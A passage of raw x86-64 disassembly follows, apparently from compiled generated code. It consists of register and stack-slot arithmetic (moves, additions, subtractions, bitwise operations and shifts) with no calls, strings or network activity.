movzx eax, byte [rsp + 0x13a]
mov rcx, qword [rsp + 0x7320]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a640]
mov byte [rcx], al
lea rax, [rsp + 0x1160]
mov qword [rsp + 0x9e38], rax
mov rax, qword [rsp + 0x8a10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf80]
sub eax, ecx
mov word [rsp + 0x1154], ax
mov rax, qword [rsp + 0x6ec0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14d]
sub eax, ecx
mov byte [rsp + 0x1ae], al
movzx eax, byte [rsp + 0xa5]
mov byte [rsp + 0x1c7], al
mov rax, qword [rsp + 0x73b8]
mov ecx, dword [rsp + 0x3b94]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3df8], eax
mov rax, qword [rsp + 0x6ea8]
mov rax, qword [rax]
mov qword [rsp + 0x9e40], rax
mov rax, qword [rsp + 0x8878]
mov rcx, qword [rsp + 0x8160]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x74a0], rax
mov eax, dword [0x140179004]
movzx ecx, al
mov eax, dword [rsp + 0x3d84]
sar eax, cl
mov dword [rsp + 0x40bc], eax
lea rax, [rsp + 0x11c4]
mov qword [0x14017ab38], rax
lea rax, [rsp + 0x12b]
mov qword [rsp + 0x9e48], rax
movsx eax, byte [rsp + 0x44]
mov rcx, qword [rsp + 0x8978]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x16d], al
mov rax, qword [rsp + 0x8190]
movzx eax, word [rax]
mov word [rsp + 0x11e4], ax
movzx eax, word [rsp + 0xf08]
movzx ecx, word [rsp + 0xdcc]
and eax, ecx
mov rcx, qword [rsp + 0x77a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9950]
mov rcx, qword [rsp + 0x9040]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8a08], rax
mov rax, qword [rsp + 0x9670]
mov eax, dword [rax]
mov dword [rsp + 0x41e0], eax
mov rax, qword [rsp + 0x8a78]
mov rcx, qword [rsp + 0x9e00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3dd4], eax
mov rax, qword [rsp + 0x85c8]
mov qword [rsp + 0x9e50], rax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x70c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a4fe], al
movzx eax, word [rsp + 0xcd0]
movzx ecx, word [rsp + 0xf6c]
add eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
movzx eax, word [rsp + 0xf24]
mov word [rsp + 0x11e8], ax
mov rax, qword [rsp + 0x9b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7880]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6de0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7e68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
add eax, ecx
mov rcx, qword [rsp + 0x7cf0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3fb0]
mov dword [rsp + 0x41e4], eax
mov rax, qword [rsp + 0x93e8]
mov rcx, qword [rsp + 0x9b80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x70b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7420]
mov eax, dword [rax]
mov dword [rsp + 0x41e8], eax
mov rax, qword [rsp + 0x8f80]
mov rcx, qword [rsp + 0x9c40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6c50], rax
mov rax, qword [rsp + 0x7450]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1100]
add eax, ecx
mov rcx, qword [rsp + 0x8ff8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9378]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbf]
or eax, ecx
mov byte [0x1401790aa], al
mov rax, qword [rsp + 0x6ca8]
movzx eax, byte [rax]
mov byte [rsp + 0x1c8], al
movzx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x81c8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8bb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x157]
mov byte [rsp + 0x1c9], al
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x89a0]
mov qword [rsp + 0x9e58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e58]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x7810]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f6c]
movzx ecx, al
mov eax, dword [rsp + 0x40e0]
sar eax, cl
mov rcx, qword [rsp + 0x8760]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7668]
mov qword [rsp + 0x9e60], rax
mov rax, qword [rsp + 0x78f0]
mov rcx, qword [rsp + 0x7418]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9718], rax
mov rax, qword [rsp + 0x74c8]
movzx eax, word [rax]
mov word [rsp + 0x11ec], ax
movsx eax, word [rsp + 0xd10]
mov rcx, qword [rsp + 0x9440]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017904c], ax
movzx eax, byte [rsp + 0x113]
mov rcx, qword [rsp + 0x7340]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x18c], al
lea rax, [rsp + 0xe5c]
mov qword [rsp + 0x9e68], rax
mov rax, qword [rsp + 0x8110]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7c98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ad0]
mov word [rcx], ax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3d90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x403c], eax
mov rax, qword [rsp + 0x8e70]
mov rax, qword [rax]
mov qword [rsp + 0x9e70], rax
mov eax, dword [rsp + 0x40e0]
mov ecx, dword [rsp + 0x41a4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov dword [rcx], eax
lea rax, [rsp + 0x8078]
mov qword [rsp + 0x9e78], rax
mov rax, qword [rsp + 0x9a28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x139]
and eax, ecx
mov byte [rsp + 0x191], al
mov rax, qword [rsp + 0x8180]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8438]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a848]
mov word [rcx], ax
movzx eax, word [0x140179138]
movzx ecx, word [rsp + 0xef0]
sub eax, ecx
mov word [rsp + 0x1080], ax
movzx eax, byte [rsp + 0xb5]
mov byte [rsp + 0x1ca], al
mov rax, qword [rsp + 0x78a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e]
add eax, ecx
mov rcx, qword [rsp + 0x8f10]
mov byte [rcx], al
lea rax, [0x14017a4d0]
mov qword [rsp + 0x9e80], rax
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x87c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x86b8], rax
mov eax, dword [section..data]
mov rcx, qword [rsp + 0x7828]
mov qword [rsp + 0x9e88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e88]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0x7300]
mov rax, qword [rax]
mov qword [rsp + 0x9e90], rax
mov rax, qword [rsp + 0x8070]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7cf8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xbc], al
lea rax, [rsp + 0x108]
mov qword [0x14017ab40], rax
movzx eax, word [0x140179110]
mov word [rsp + 0x11f0], ax
mov rax, qword [rsp + 0x94a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x47]
or eax, ecx
mov rcx, qword [rsp + 0x74a8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1080]
movzx ecx, word [rsp + 0xde4]
and eax, ecx
mov word [rsp + 0x11c0], ax
movzx eax, byte [rsp + 0xa6]
mov byte [rsp + 0x1cb], al
mov eax, dword [rsp + 0x4048]
mov ecx, dword [rsp + 0x3cc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40e8], eax
mov rax, qword [rsp + 0x7560]
mov rax, qword [rax]
mov qword [rsp + 0x9e98], rax
mov rax, qword [rsp + 0x7548]
mov rcx, qword [rsp + 0x7958]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6e38], rax
lea rax, [rsp + 0x3d64]
mov qword [rsp + 0x9ea0], rax
lea rax, [rsp + 0x11d4]
mov qword [0x14017ab48], rax
movzx eax, word [rsp + 0xcdc]
movzx ecx, word [rsp + 0x1040]
sub eax, ecx
mov word [rsp + 0xdf0], ax
mov rax, qword [rsp + 0x8a88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a5]
add eax, ecx
mov byte [rsp + 0xa2], al
mov rax, qword [rsp + 0x6b60]
movzx eax, byte [rax]
mov byte [rsp + 0x1cc], al
movzx eax, byte [rsp + 0x172]
movzx ecx, byte [rsp + 0x40]
sub eax, ecx
mov rcx, qword [rsp + 0x6d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x9650]
mov eax, dword [rax]
mov dword [rsp + 0x41ec], eax
mov rax, qword [rsp + 0x8290]
mov ecx, dword [rsp + 0x40ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d40], eax
mov rax, qword [rsp + 0x7ce0]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9890]
mov qword [rcx], rax
mov rax, qword [rsp + 0x92d0]
mov rax, qword [rax]
mov qword [rsp + 0x9ea8], rax
movsx eax, word [rsp + 0xf1c]
mov rcx, qword [rsp + 0x7258]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a710]
mov word [rcx], ax
movsx eax, byte [rsp + 0x59]
mov rcx, qword [0x14017a978]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x60], al
lea rax, [rsp + 0xc3]
mov qword [rsp + 0x9eb0], rax
movsx eax, word [rsp + 0x1070]
movsx ecx, word [rsp + 0xcac]
xor eax, ecx
mov rcx, qword [rsp + 0x7608]
mov word [rcx], ax
movzx eax, word [rsp + 0xf40]
cdq
mov ecx, 0xc02
idiv ecx
mov rcx, qword [rsp + 0x9420]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov qword [rsp + 0x9eb8], rax
mov eax, dword [rsp + 0x3ce0]
movzx ecx, al
mov eax, dword [rsp + 0x3c0c]
shl eax, cl
mov dword [rsp + 0x3d50], eax
mov rax, qword [rsp + 0x8e90]
mov rax, qword [rax]
mov qword [rsp + 0x9ec0], rax
mov eax, dword [rsp + 0x3f08]
mov ecx, dword [rsp + 0x4188]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d2c], eax
lea rax, [rsp + 0x1c6]
mov qword [0x14017ab50], rax
lea rax, [rsp + 0x8f]
mov qword [rsp + 0x9ec8], rax
mov rax, qword [0x14017a830]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8a98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd18], ax
mov rax, qword [rsp + 0x7b80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7628]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10f8], ax
lea rax, [rsp + 0xe64]
mov qword [rsp + 0x9ed0], rax
mov eax, dword [rsp + 0x3cd8]
mov ecx, dword [0x140179004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f58], eax
lea rax, [rsp + 0x8d10]
mov qword [rsp + 0x9ed8], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9680]
mov rcx, qword [rsp + 0x6d58]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7a68]
mov qword [rcx], rax
movsx eax, word [rsp + 0x11e4]
movsx ecx, word [rsp + 0xd3c]
sub eax, ecx
mov rcx, qword [0x14017a878]
mov word [rcx], ax
lea rax, [0x14017907e]
mov qword [rsp + 0x9ee0], rax
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x77f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9618]
mov byte [rcx], al
mov rax, qword [rsp + 0x86f0]
movzx eax, word [rax]
mov word [rsp + 0x11f4], ax
movsx eax, word [rsp + 0xdc4]
movsx ecx, word [rsp + 0x10d0]
add eax, ecx
mov word [rsp + 0x1024], ax
mov rax, qword [rsp + 0x96a8]
mov rcx, qword [rsp + 0x6e48]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7078], rax
mov rax, qword [rsp + 0x7de0]
mov eax, dword [rax]
mov dword [rsp + 0x41f0], eax
mov eax, dword [rsp + 0x3c9c]
mov ecx, dword [rsp + 0x3d54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b2c], eax
lea rax, [rsp + 0x9ae8]
mov qword [rsp + 0x9ee8], rax
mov rax, qword [rsp + 0x9ee0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7838]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x14017a568]
mov byte [rcx], al
movzx eax, word [rsp + 0xe64]
mov rcx, qword [rsp + 0x75f8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8900]
mov word [rcx], ax
mov rax, qword [rsp + 0x98e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x84e0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc90], ax
lea rax, [rsp + 0x8e]
mov qword [rsp + 0x9ef0], rax
movzx eax, word [0x140179150]
movzx ecx, word [rsp + 0xd18]
xor eax, ecx
mov rcx, qword [rsp + 0x8820]
mov word [rcx], ax
mov rax, qword [rsp + 0x7c28]
mov rax, qword [rax]
mov qword [rsp + 0x9ef8], rax
mov eax, dword [rsp + 0x3e7c]
mov ecx, dword [rsp + 0x3d4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cb0], eax
mov eax, dword [rsp + 0x3fe4]
mov dword [rsp + 0x41f4], eax
mov rax, qword [rsp + 0x8570]
mov rcx, qword [rsp + 0x9158]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x81d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96f0]
movzx eax, byte [rax]
mov byte [0x14017a63f], al
mov rax, qword [rsp + 0x6e70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8028]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x99], al
movzx eax, word [rsp + 0xe08]
mov word [rsp + 0x11f8], ax
mov rax, qword [rsp + 0x9ad8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c88]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd08], ax
lea rax, [rsp + 0x17c]
mov qword [rsp + 0x9f00], rax
mov rax, qword [rsp + 0x95f8]
mov rcx, qword [rsp + 0x9970]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7668], rax
mov rax, qword [rsp + 0x7a18]
mov rcx, qword [rsp + 0x7188]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x40a0], eax
lea rax, [rsp + 0x7ca8]
mov qword [rsp + 0x9f08], rax
mov rax, qword [rsp + 0x6e80]
mov ecx, dword [rsp + 0x4110]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9768]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8840]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov word [str._b_b_e], ax
lea rax, [0x14017903a]
mov qword [rsp + 0x9f10], rax
movsx eax, byte [rsp + 0x5d]
movsx ecx, byte [rsp + 0x100]
sub eax, ecx
mov byte [rsp + 0x12f], al
movzx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0x7340]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x75], al
lea rax, [0x140179098]
mov qword [rsp + 0x9f18], rax
mov eax, dword [rsp + 0x3cb0]
mov ecx, dword [rsp + 0x40a4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3ec4]
mov dword [rsp + 0x41f8], eax
mov rax, qword [rsp + 0x7050]
mov rcx, qword [rsp + 0x6ff8]
mov qword [rsp + 0x9f20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9f20]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9310], rax
mov rax, qword [rsp + 0x9160]
mov rcx, qword [rsp + 0x8480]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6f68], rax
mov rax, qword [rsp + 0x9458]
movzx eax, byte [rax]
mov byte [rsp + 0x1cd], al
mov rax, qword [rsp + 0x9540]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd80]
or eax, ecx
mov rcx, qword [0x14017ab30]
mov word [rcx], ax
movzx eax, byte [rsp + 0x145]
mov rcx, qword [rsp + 0x7a20]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1b5], al
lea rax, [rsp + 0xe20]
mov qword [rsp + 0x9f28], rax
movsx eax, byte [rsp + 0x155]
mov rcx, qword [rsp + 0x6d30]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x86a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9460]
mov rax, qword [rax]
mov qword [rsp + 0x9f30], rax
mov rax, qword [rsp + 0x8778]
mov rcx, qword [rsp + 0x88c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7968]
mov ecx, dword [rsp + 0x3c78]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9b40]
mov dword [rcx], eax
lea rax, [rsp + 0x3e64]
mov qword [rsp + 0x9f38], rax
mov rax, qword [rsp + 0x6b68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ad0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9770]
mov word [rcx], ax
lea rax, [0x140179076]
mov qword [0x14017ab58], rax
mov rax, qword [rsp + 0x9560]
movzx eax, word [rax]
mov word [rsp + 0x11fc], ax
movzx eax, byte [rsp + 0x4e]
movzx ecx, byte [rsp + 0x1c0]
add eax, ecx
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x9f10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9270]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ba0]
mov byte [rcx], al
lea rax, [rsp + 0x3e84]
mov qword [rsp + 0x9f40], rax
mov rax, qword [rsp + 0x9ca0]
mov rcx, qword [rsp + 0x7140]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7268]
mov qword [rcx], rax
lea rax, section..data
mov qword [rsp + 0x9f48], rax
mov rax, qword [rsp + 0x78b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x87b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1198]
mov rcx, qword [rsp + 0x6f70]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc74], ax
movsx eax, byte [0x14017a4d7]
mov rcx, qword [rsp + 0x8798]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14017a9a0]
mov byte [rcx], al
lea rax, [rsp + 0x10a4]
mov qword [rsp + 0x9f50], rax
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x7d80]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x71d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8370]
movzx eax, word [rax]
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x77e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8f58]
sar rax, cl
mov qword [rsp + 0x6de8], rax
lea rax, [rsp + 0x4144]
mov qword [rsp + 0x9f58], rax
mov rax, qword [rsp + 0x84f8]
mov rcx, qword [rsp + 0x8c08]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7050], rax
mov rax, qword [rsp + 0x7790]
mov ecx, dword [rsp + 0x3ed8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f84], eax
movzx eax, word [rsp + 0xd84]
mov word [rsp + 0x1204], ax
mov rax, qword [0x14017a7c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9dd8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140179028], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
add eax, ecx
mov rcx, qword [rsp + 0x8a88]
mov byte [rcx], al
lea rax, [rsp + 0x57]
mov qword [rsp + 0x9f60], rax
movzx eax, word [0x140179074]
movzx ecx, word [rsp + 0xd14]
add eax, ecx
mov word [rsp + 0x10a0], ax
movzx eax, word [rsp + 0xf6c]
movzx ecx, word [rsp + 0x11cc]
add eax, ecx
mov word [rsp + 0x11ac], ax
mov rax, qword [rsp + 0x6d60]
mov eax, dword [rax]
mov dword [rsp + 0x41fc], eax
mov eax, dword [rsp + 0x3d40]
mov ecx, dword [rsp + 0x3f44]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ca0]
mov rax, qword [rax]
mov qword [rsp + 0x9f68], rax
mov rax, qword [rsp + 0x8f28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7760]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7fa0], rax
movsx eax, word [rsp + 0xe30]
mov rcx, qword [rsp + 0x6e18]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140179158], ax
movsx eax, byte [rsp + 0x140]
mov rcx, qword [rsp + 0x99f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x92e8]
mov byte [rcx], al
lea rax, [rsp + 0x40]
mov qword [rsp + 0x9f70], rax
movzx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x74c8]
mov word [rcx], ax
lea rax, [rsp + 0x10a4]
mov qword [rsp + 0x9f78], rax
mov rax, qword [rsp + 0x8f78]
movzx ecx, al
mov rax, qword [rsp + 0x7430]
shr rax, cl
mov qword [rsp + 0x9248], rax
mov rax, qword [rsp + 0x6f78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3df4]
shl eax, cl
mov dword [rsp + 0x3e20], eax
lea rax, [rsp + 0x4194]
mov qword [rsp + 0x9f80], rax
mov rax, qword [rsp + 0x7a30]
mov rcx, qword [rsp + 0x74c0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x75f0]
mov qword [rcx], rax
lea rax, [rsp + 0x15f]
mov qword [0x14017ab60], rax
lea rax, [rsp + 0xe88]
mov qword [rsp + 0x9f88], rax
mov rax, qword [rsp + 0x6ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d20]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x144], al
mov rax, qword [rsp + 0x7a20]
movzx eax, byte [rax]
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x93b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca8]
and eax, ecx
mov rcx, qword [rsp + 0x9f18]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d40]
mov dword [rcx], eax
lea rax, [rsp + 0x3d90]
mov qword [rsp + 0x9f90], rax
mov rax, qword [rsp + 0x84c8]
mov rcx, qword [rsp + 0x8078]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x81e0], rax
mov rax, qword [rsp + 0x8970]
mov qword [rsp + 0x9f98], rax
movsx eax, word [0x140179114]
mov rcx, qword [rsp + 0x82a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a7c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe2c]
sub eax, ecx
mov word [rsp + 0xf20], ax
mov rax, qword [rsp + 0x91e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7190]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6d50]
mov byte [rcx], al
lea rax, [rsp + 0x57]
mov qword [rsp + 0x9fa0], rax
mov rax, qword [rsp + 0x7ec8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7d48]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x90], al
lea rax, [rsp + 0x6da8]
mov qword [rsp + 0x9fa8], rax
imul eax, dword [0x14017a4d0], 0x4f55
mov dword [rsp + 0x3c2c], eax
mov rax, qword [rsp + 0x7890]
mov ecx, dword [rsp + 0x3e6c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90c8]
mov rax, qword [rax]
mov qword [rsp + 0x9fb0], rax
lea rax, [rsp + 0x10fc]
mov qword [0x14017ab68], rax
mov rax, qword [rsp + 0x8fa0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xad]
sub eax, ecx
mov byte [rsp + 0x81], al
mov rax, qword [rsp + 0x77a8]
movzx eax, word [rax]
mov word [rsp + 0x1208], ax
mov rax, qword [0x14017ab20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x185]
add eax, ecx
mov byte [rsp + 0x104], al
mov rax, qword [rsp + 0x7030]
movzx eax, word [rax]
mov word [rsp + 0x120c], ax
mov eax, dword [rsp + 0x40d0]
mov rcx, qword [rsp + 0x8ac8]
mov qword [rsp + 0x9fb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9fb8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4120], eax
mov rax, qword [rsp + 0x7df0]
mov rcx, qword [rsp + 0x9ae0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7008], rax
lea rax, [rsp + 0x3f00]
mov qword [rsp + 0x9fc0], rax
mov rax, qword [rsp + 0x8330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9098]
mov qword [rsp + 0x9fc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9fc8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14017a585], al
movzx eax, byte [rsp + 0x119]
mov byte [rsp + 0x1cf], al
movzx eax, word [rsp + 0xcb8]
movzx ecx, word [rsp + 0xfa8]
and eax, ecx
mov word [rsp + 0x1194], ax
movsx eax, byte [rsp + 0x190]
mov rcx, qword [rsp + 0x8d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7b30]
mov byte [rcx], al
mov rax, qword [rsp + 0x9e28]
movzx eax, word [rax]
mov word [rsp + 0x1210], ax
mov rax, qword [rsp + 0x8048]
mov rcx, qword [rsp + 0x7498]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41a4], eax
mov rax, qword [rsp + 0x8440]
mov qword [rsp + 0x9fd0], rax
mov rax, qword [rsp + 0x8220]
mov rcx, qword [rsp + 0x9798]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8eb0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f84]
mov ecx, dword [rsp + 0x3b64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7098]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7118]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017907e], al
movzx eax, word [rsp + 0xd90]
mov word [rsp + 0x1214], ax
mov rax, qword [rsp + 0x7d80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x94]
add eax, ecx
mov byte [rsp + 0xe7], al
lea rax, [rsp + 0x8b]
mov qword [rsp + 0x9fd8], rax
mov rax, qword [rsp + 0x95e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8260]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7ab0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7798]
mov ecx, dword [rsp + 0x3d34]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8348]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e78]
mov rax, qword [rax]
mov qword [rsp + 0x9fe0], rax
mov rax, qword [rsp + 0x6c80]
mov eax, dword [rax]
